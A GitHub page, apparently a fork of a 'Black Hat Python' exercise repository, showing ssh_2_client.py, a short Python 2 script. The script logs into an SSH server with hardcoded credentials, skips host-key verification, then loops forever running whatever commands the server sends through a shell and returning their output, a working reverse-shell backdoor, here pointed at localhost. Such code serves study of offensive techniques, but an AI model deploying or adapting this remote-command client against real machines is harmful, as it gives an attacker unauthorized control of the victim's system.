forked from dagmawim/black_hat_python
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathssh_2_client.py
More file actions
23 lines (22 loc) · 829 Bytes
/
ssh_2_client.py
File metadata and controls
23 lines (22 loc) · 829 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
#client.loadKEys
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print ssh_session.recv(1024)
while True:
command = ssh_session.recv(1024) # get command from SSH server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception,e:
ssh_session.send(str(e))
client.close()
return
ssh_command('127.0.0.1','dmm474','lovespython','ClientConnected')